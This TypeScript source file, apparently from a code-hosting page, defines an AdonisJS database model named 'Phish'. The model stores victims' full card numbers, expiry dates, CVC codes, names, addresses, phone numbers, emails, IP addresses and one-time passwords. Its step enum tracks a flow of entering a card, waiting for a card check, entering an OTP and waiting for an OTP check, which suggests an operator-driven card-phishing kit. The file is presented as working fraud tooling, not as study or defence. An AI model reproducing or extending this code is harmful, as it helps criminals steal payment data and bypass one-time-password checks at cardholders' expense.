Phish.ts 1.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990
  1. import { jsonConverter } from 'App/Helpers/db'
  2. import { DateTime } from 'luxon'
  3. import { BaseModel, column } from '@ioc:Adonis/Lucid/Orm'
  4. export enum PhishStep {
  5. INPUT_CARD = 'input_card',
  6. CHECK_CARD = 'wait_for_check_card',
  7. INPUT_OTP = 'input_otp',
  8. CHECK_OTP = 'wait_for_check_otp',
  9. SUCCESS = 'success',
  10. FAIL = 'fail'
  11. }
  12. export default class Phish extends BaseModel {
  13. @column({ isPrimary: true })
  14. public id: number
  15. @column.dateTime({ autoCreate: true })
  16. public createdAt: DateTime
  17. @column.dateTime({ autoCreate: true, autoUpdate: true })
  18. public updatedAt: DateTime
  19. @column()
  20. public ip: string
  21. @column({
  22. meta: {
  23. type: 'boolean'
  24. }
  25. })
  26. public online: boolean
  27. @column()
  28. public socketId: string
  29. @column()
  30. public step: PhishStep
  31. @column()
  32. public phone: string
  33. @column()
  34. public email: string
  35. @column()
  36. public card: string
  37. @column()
  38. public expiry: string
  39. @column()
  40. public cvc: string
  41. @column()
  42. public firstName: string
  43. @column()
  44. public lastName: string
  45. @column()
  46. public country: string
  47. @column()
  48. public state: string
  49. @column()
  50. public city: string
  51. @column()
  52. public address: string
  53. @column()
  54. public zip: string
  55. @column()
  56. public otp: string
  57. @column()
  58. public otpType: string
  59. @column()
  60. public otpMsg: string
  61. @column()
  62. public errMsg: string
  63. @column()
  64. public userId: number
  65. }